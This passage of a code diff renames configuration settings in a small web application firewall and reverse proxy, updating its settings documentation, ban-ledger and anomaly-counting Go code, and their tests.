`SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is
|
||||||
|
`off`.
|
||||||
|
|
||||||
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
||||||
the request first.
|
the request first.
|
||||||
|
|
||||||
## Biased thresholds
|
## Biased thresholds
|
||||||
|
|
||||||
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default
|
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
|
||||||
empty): a percentage of the byte limits alone, for the AS numbers or countries
|
(default empty): a percentage of the byte limits alone, for the AS numbers or
|
||||||
listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the
|
||||||
`SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number
|
percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag.
|
||||||
or country listed twice is refused.
|
An AS number or country listed twice is refused.
|
||||||
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client
|
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a
|
||||||
the lookup cannot place.
|
client the lookup cannot place.
|
||||||
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
|
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
|
||||||
a text file with one AS number and percentage on each line, such as
|
a text file with one AS number and percentage on each line, such as
|
||||||
`AS64496:50`. Each entry counts like an `asn=` tag in
|
`AS64496:50`. Each entry counts like an `asn=` tag in
|
||||||
@@ -230,15 +234,15 @@ the request first.
|
|||||||
|
|
||||||
## Attack detection
|
## Attack detection
|
||||||
|
|
||||||
- `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule
|
- `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the
|
||||||
files.
|
rule files.
|
||||||
- `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
- `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file.
|
||||||
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||||
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
|
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
|
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
|
||||||
paranoia level, from 1 to 4.
|
paranoia level, from 1 to 4.
|
||||||
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a
|
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a
|
||||||
request is a match. A whole number above zero, or `off`.
|
request is a match. A whole number above zero, or `off`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
|
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
|
||||||
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
||||||
@@ -247,10 +251,10 @@ the request first.
|
|||||||
`smallwebwaf`'s own.
|
`smallwebwaf`'s own.
|
||||||
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
|
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
|
||||||
Rule Set does not inspect.
|
Rule Set does not inspect.
|
||||||
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a
|
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how
|
||||||
request body the Core Rule Set reads, a size of at most `64K`. A question
|
much of a request body the Core Rule Set reads, a size of at most `64K`. A
|
||||||
carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64
|
question carries no more of a body than 64 KiB, and the Core Rule Set reads at
|
||||||
KiB less one byte of it, whatever the value (see "The answer" in
|
most 64 KiB less one byte of it, whatever the value (see "The answer" in
|
||||||
[`SPEC.md`](../SPEC.md)).
|
[`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
|
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
|
||||||
Set exclusions, written as Coraza directives. It is loaded before the Core
|
Set exclusions, written as Coraza directives. It is loaded before the Core
|
||||||
@@ -288,9 +292,10 @@ the request first.
|
|||||||
- a hostname listed twice;
|
- a hostname listed twice;
|
||||||
- an app listed twice for one hostname;
|
- an app listed twice for one hostname;
|
||||||
- an entry without a colon.
|
- an entry without a colon.
|
||||||
- `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may
|
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client
|
||||||
get in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
may get in a minute from a rule file, a trap path or the Core Rule Set, a
|
||||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
count or `off`. The next one bans the client (see "Attack detection" in
|
||||||
|
`SPEC.md`).
|
||||||
|
|
||||||
## Ban lengths, response and scope
|
## Ban lengths, response and scope
|
||||||
|
|
||||||
@@ -299,8 +304,8 @@ the request first.
|
|||||||
A duration.
|
A duration.
|
||||||
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||||
within which breaking a limit again lengthens the next ban. A duration.
|
within which breaking a limit again lengthens the next ban. A duration.
|
||||||
- `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
|
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
|
||||||
one that would be longer is permanent. A duration.
|
that would be longer than this is permanent instead. A duration.
|
||||||
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
||||||
of attack. A duration.
|
of attack. A duration.
|
||||||
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||||
@@ -336,12 +341,12 @@ the request first.
|
|||||||
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||||
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
||||||
URL, it is refused.
|
URL, it is refused.
|
||||||
- `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`,
|
||||||
`log`, for DNS blocklist and AbuseIPDB hits.
|
`limit:<percent>` or `log`, for DNS blocklist and AbuseIPDB hits.
|
||||||
- `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
- `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict
|
||||||
AbuseIPDB's score is used. A duration.
|
or AbuseIPDB's score is used. A duration.
|
||||||
- `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
|
- `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a
|
||||||
check with AbuseIPDB may take. A duration.
|
zone or a check with AbuseIPDB may take. A time in milliseconds.
|
||||||
|
|
||||||
## Alerting
|
## Alerting
|
||||||
|
|
||||||
@@ -369,7 +374,7 @@ the request first.
|
|||||||
## Anomaly thresholds
|
## Anomaly thresholds
|
||||||
|
|
||||||
Each scope has four thresholds: the most requests and the most body bytes
|
Each scope has four thresholds: the most requests and the most body bytes
|
||||||
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT`
|
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED`
|
||||||
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
|
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||||
thresholds per client are:
|
thresholds per client are:
|
||||||
|
|
||||||
@@ -389,9 +394,10 @@ as `REQUESTS_PER_MINUTE`:
|
|||||||
client.
|
client.
|
||||||
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
|
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
|
||||||
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
|
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
|
||||||
- `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole.
|
- `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in
|
||||||
`SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
|
`SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS`
|
||||||
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
(default empty) is a list of name, `=` and netblock, such as
|
||||||
|
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||||
name, or with a bad netblock, is refused. So is a name used twice.
|
name, or with a bad netblock, is refused. So is a name used twice.
|
||||||
|
|
||||||
## Settings given as files
|
## Settings given as files
|
||||||
@@ -435,10 +441,11 @@ A few limits are fixed rather than settings:
|
|||||||
|
|
||||||
## `waf`'s answer and `rproxy`'s wait
|
## `waf`'s answer and `rproxy`'s wait
|
||||||
|
|
||||||
`SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
|
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on
|
||||||
Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No
|
an outside source. Keep it well under `rproxy`'s
|
||||||
question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and
|
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. No question waits for
|
||||||
AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in
|
`SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are
|
||||||
|
asked in the background (see "Answering in time" under "`waf`" in
|
||||||
[`SPEC.md`](../SPEC.md)).
|
[`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## `rproxy`
|
## `rproxy`
|
||||||
@@ -447,18 +454,17 @@ AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in
|
|||||||
start, and an invalid value stops the start. Any can be given as a file, as a
|
start, and an invalid value stops the start. Any can be given as a file, as a
|
||||||
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
||||||
|
|
||||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
|
||||||
|
|
||||||
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
||||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||||
speaks HTTP/1.1 to it.
|
speaks HTTP/1.1 to it.
|
||||||
- `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
|
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
|
||||||
answer, to a question and to a report. A time; never `off`.
|
for `waf`'s answer, to a question and to a report. A time in milliseconds;
|
||||||
- `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a
|
never `off`.
|
||||||
request when `waf` cannot be connected to, does not answer at all, or does not
|
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
|
||||||
answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the app, and
|
with a request when `waf` cannot be connected to, does not answer at all, or
|
||||||
`deny` answers `503`. It does not apply to an answer `waf` gives, such as an
|
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
|
||||||
error.
|
to the app, and `deny` answers `503`. It does not apply to an answer `waf`
|
||||||
|
gives, such as an error.
|
||||||
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
|
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
|
||||||
size or `off`.
|
size or `off`.
|
||||||
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
|
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
|
||||||
@@ -466,11 +472,12 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
|
|||||||
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
||||||
take to send its request line and headers. It then also bounds, from the end
|
take to send its request line and headers. It then also bounds, from the end
|
||||||
of the headers, the time until the app has been sent the whole request. A time
|
of the headers, the time until the app has been sent the whole request. A time
|
||||||
or `off`.
|
in milliseconds or `off`.
|
||||||
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
||||||
take, from the end of the request to its last byte reaching the visitor. An
|
take, from the end of the request to its last byte reaching the visitor. An
|
||||||
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
||||||
do the status and headers of the app's answer. A time or `off`.
|
do the status and headers of the app's answer. A time in milliseconds or
|
||||||
|
`off`.
|
||||||
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
||||||
`:9000`.
|
`:9000`.
|
||||||
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ const (
|
|||||||
// threshold.
|
// threshold.
|
||||||
EventAnomaly = "anomaly"
|
EventAnomaly = "anomaly"
|
||||||
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
||||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in
|
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in
|
||||||
// detect mode.
|
// detect mode.
|
||||||
EventCoreRuleSetMatch = "core_rule_set_match"
|
EventCoreRuleSetMatch = "core_rule_set_match"
|
||||||
// EventReputationHit is a request whose client a blocklist, the
|
// EventReputationHit is a request whose client a blocklist, the
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ const (
|
|||||||
ScopeASN = "asn"
|
ScopeASN = "asn"
|
||||||
// ScopeTotal is the whole service.
|
// ScopeTotal is the whole service.
|
||||||
ScopeTotal = "total"
|
ScopeTotal = "total"
|
||||||
// ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS.
|
// ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS.
|
||||||
ScopeWatchedNet = "watched_net"
|
ScopeWatchedNet = "watched_net"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -68,7 +68,7 @@ type Thresholds struct {
|
|||||||
BytesPerHour int64
|
BytesPerHour int64
|
||||||
}
|
}
|
||||||
|
|
||||||
// NamedNetblock is a netblock SWW_WAF_WATCH_NETS names.
|
// NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names.
|
||||||
type NamedNetblock struct {
|
type NamedNetblock struct {
|
||||||
Name string
|
Name string
|
||||||
Netblock netip.Prefix
|
Netblock netip.Prefix
|
||||||
@@ -78,12 +78,12 @@ type NamedNetblock struct {
|
|||||||
type Params struct {
|
type Params struct {
|
||||||
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
|
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
|
||||||
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
|
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
|
||||||
// SWW_WAF_WATCH_*.
|
// SWW_WAF_ANOMALY_WATCHED_NET_*.
|
||||||
Client, Net, ASN, Total, Watch Thresholds
|
Client, Net, ASN, Total, WatchedNet Thresholds
|
||||||
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
||||||
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
|
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
|
||||||
NetV4Prefix, NetV6Prefix int
|
NetV4Prefix, NetV6Prefix int
|
||||||
// NamedNetblocks are SWW_WAF_WATCH_NETS.
|
// NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS.
|
||||||
NamedNetblocks []NamedNetblock
|
NamedNetblocks []NamedNetblock
|
||||||
// Alerts receive the anomaly alerts.
|
// Alerts receive the anomaly alerts.
|
||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
@@ -119,7 +119,7 @@ type Request struct {
|
|||||||
// ASN, ASName and Country are the client's as looked up, each "" when
|
// ASN, ASName and Country are the client's as looked up, each "" when
|
||||||
// unknown.
|
// unknown.
|
||||||
ASN, ASName, Country string
|
ASN, ASName, Country string
|
||||||
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them.
|
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them.
|
||||||
Bytes int64
|
Bytes int64
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -271,7 +271,7 @@ func (c *Counters) scopesOf(r Request) []scope {
|
|||||||
scope: ScopeWatchedNet,
|
scope: ScopeWatchedNet,
|
||||||
netblock: named.Netblock,
|
netblock: named.Netblock,
|
||||||
name: named.Name,
|
name: named.Name,
|
||||||
}, p.Watch,
|
}, p.WatchedNet,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
|||||||
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
|
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
|
||||||
counters := anomaly.New(anomaly.Params{
|
counters := anomaly.New(anomaly.Params{
|
||||||
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
|
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
|
||||||
Total: overAtTheSecond, Watch: overAtTheSecond,
|
Total: overAtTheSecond, WatchedNet: overAtTheSecond,
|
||||||
// The netblock around a client is the client's own, and two names
|
// The netblock around a client is the client's own, and two names
|
||||||
// name one netblock.
|
// name one netblock.
|
||||||
NetV4Prefix: 32,
|
NetV4Prefix: 32,
|
||||||
|
|||||||
+10
-10
@@ -1,6 +1,6 @@
|
|||||||
// Package bans is the ban ledger: the bans sww makes on the
|
// Package bans is the ban ledger: the bans sww makes on the
|
||||||
// netblocks of clients that break a rate limit, a byte limit or the error
|
// netblocks of clients that break a rate limit, a byte limit or the refusal
|
||||||
// burst, show a clear sign of attack or are listed by the CrowdSec
|
// limit, show a clear sign of attack or are listed by the CrowdSec
|
||||||
// decision list, and
|
// decision list, and
|
||||||
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
||||||
// describes. The bans are kept in memory, and written to bans.json and
|
// describes. The bans are kept in memory, and written to bans.json and
|
||||||
@@ -49,9 +49,9 @@ type Params struct {
|
|||||||
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
|
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
|
||||||
// repeatFactor times as long as that ban.
|
// repeatFactor times as long as that ban.
|
||||||
LimitBanRepeatWindow time.Duration
|
LimitBanRepeatWindow time.Duration
|
||||||
// MaxBanDuration is the longest ban for a broken limit; one that would
|
// A ban for a broken limit that would be longer than
|
||||||
// be longer is permanent instead.
|
// LimitBanPermanentAbove is permanent instead.
|
||||||
MaxBanDuration time.Duration
|
LimitBanPermanentAbove time.Duration
|
||||||
// AttackBanDuration is how long a first ban for a clear sign of attack
|
// AttackBanDuration is how long a first ban for a clear sign of attack
|
||||||
// lasts.
|
// lasts.
|
||||||
AttackBanDuration time.Duration
|
AttackBanDuration time.Duration
|
||||||
@@ -105,7 +105,7 @@ type Notes struct {
|
|||||||
Country string `json:"country"`
|
Country string `json:"country"`
|
||||||
// Kind, Limit, Window and Count are, for a ban for a broken limit,
|
// Kind, Limit, Window and Count are, for a ban for a broken limit,
|
||||||
// what the limit was on, "requests" for a rate limit, "bytes" for a
|
// what the limit was on, "requests" for a rate limit, "bytes" for a
|
||||||
// byte limit or "refusals" for the error burst, the limit that was
|
// byte limit or "refusals" for the refusal limit, the limit that was
|
||||||
// broken, its window, "minute", "hour" or "day", and the count reached:
|
// broken, its window, "minute", "hour" or "day", and the count reached:
|
||||||
// the client's requests, bytes or refusals in the window, those of the
|
// the client's requests, bytes or refusals in the window, those of the
|
||||||
// request that broke the limit included.
|
// request that broke the limit included.
|
||||||
@@ -306,7 +306,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
|
|||||||
// last, other than one for a clear sign of attack or for CrowdSec's
|
// last, other than one for a clear sign of attack or for CrowdSec's
|
||||||
// decision, or a lifted one, lasts
|
// decision, or a lifted one, lasts
|
||||||
// repeatFactor times as long as that one. A ban that would be longer
|
// repeatFactor times as long as that one. A ban that would be longer
|
||||||
// than MaxBanDuration is permanent instead. If a ban on netblock is still
|
// than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still
|
||||||
// active, as when two of its requests break a limit at once, that ban is
|
// active, as when two of its requests break a limit at once, that ban is
|
||||||
// returned with false, and no other is made. The ledger fills in the
|
// returned with false, and no other is made. The ledger fills in the
|
||||||
// notes' Refused and EarlierBans itself, and gives the ban the reason
|
// notes' Refused and EarlierBans itself, and gives the ban the reason
|
||||||
@@ -932,16 +932,16 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
|||||||
if last != nil &&
|
if last != nil &&
|
||||||
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
||||||
lastLength := last.Expires.Sub(last.Start)
|
lastLength := last.Expires.Sub(last.Start)
|
||||||
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
// This is repeatFactor * lastLength > LimitBanPermanentAbove, written so
|
||||||
// that it cannot overflow.
|
// that it cannot overflow.
|
||||||
if lastLength > l.params.MaxBanDuration/repeatFactor {
|
if lastLength > l.params.LimitBanPermanentAbove/repeatFactor {
|
||||||
return time.Time{}
|
return time.Time{}
|
||||||
}
|
}
|
||||||
|
|
||||||
length = repeatFactor * lastLength
|
length = repeatFactor * lastLength
|
||||||
}
|
}
|
||||||
|
|
||||||
if length > l.params.MaxBanDuration {
|
if length > l.params.LimitBanPermanentAbove {
|
||||||
return time.Time{}
|
return time.Time{}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+12
-12
@@ -97,11 +97,11 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour
|
||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
|
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(
|
||||||
@@ -114,14 +114,14 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
|
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
|
||||||
// hours, is within the maximum, and three times as long would not fit
|
// 3^13 hours, is not above it, and three times as long would not fit in
|
||||||
// in a time.Duration. The 15th is permanent.
|
// a time.Duration. The 15th is permanent.
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
params.MaxBanDuration = 100000 * day
|
params.LimitBanPermanentAbove = 100000 * day
|
||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
now := midnight()
|
now := midnight()
|
||||||
@@ -650,11 +650,11 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
|
|||||||
// defaultParams are the params at the settings' defaults.
|
// defaultParams are the params at the settings' defaults.
|
||||||
func defaultParams() bans.Params {
|
func defaultParams() bans.Params {
|
||||||
return bans.Params{
|
return bans.Params{
|
||||||
LimitBanDuration: time.Hour,
|
LimitBanDuration: time.Hour,
|
||||||
LimitBanRepeatWindow: day,
|
LimitBanRepeatWindow: day,
|
||||||
MaxBanDuration: 7 * day,
|
LimitBanPermanentAbove: 7 * day,
|
||||||
AttackBanDuration: 7 * day,
|
AttackBanDuration: 7 * day,
|
||||||
MaxBans: 5000,
|
MaxBans: 5000,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/spf13/viper"
|
"github.com/spf13/viper"
|
||||||
)
|
)
|
||||||
@@ -36,7 +37,9 @@ const (
|
|||||||
var (
|
var (
|
||||||
errNotSize = errors.New(
|
errNotSize = errors.New(
|
||||||
"is not a size such as 512K, 100M or 5G, or off")
|
"is not a size such as 512K, 100M or 5G, or off")
|
||||||
errNotPositive = errors.New("must be more than zero, or off")
|
errNotPositive = errors.New("must be more than zero, or off")
|
||||||
|
errNotMilliseconds = errors.New(
|
||||||
|
"is not a whole number of milliseconds above zero, such as 2000")
|
||||||
errEmptyItem = errors.New("has an empty item in its list")
|
errEmptyItem = errors.New("has an empty item in its list")
|
||||||
errNotNetblock = errors.New(
|
errNotNetblock = errors.New(
|
||||||
"is not a netblock such as 10.0.0.0/8, or an address")
|
"is not a netblock such as 10.0.0.0/8, or an address")
|
||||||
@@ -62,10 +65,10 @@ func Command(v *viper.Viper) (string, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// environment is where FromEnvironment reads the settings: it notes each
|
// environment is where WAFFromEnvironment and RProxyFromEnvironment read the
|
||||||
// value for the log, and keeps the first error. It reads every setting
|
// settings: it notes each value for the log, and keeps the first error. It
|
||||||
// through v, the viper NewViper returns, and honours each setting's _FILE
|
// reads every setting through v, the viper NewViper returns, and honours
|
||||||
// form too.
|
// each setting's _FILE form too.
|
||||||
type environment struct {
|
type environment struct {
|
||||||
v *viper.Viper
|
v *viper.Viper
|
||||||
settings []slog.Attr
|
settings []slog.Attr
|
||||||
@@ -162,6 +165,19 @@ func (e *environment) size(name, defaultValue string) int64 {
|
|||||||
return size
|
return size
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||||
|
// zero.
|
||||||
|
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||||
|
value := e.value(name, defaultValue)
|
||||||
|
|
||||||
|
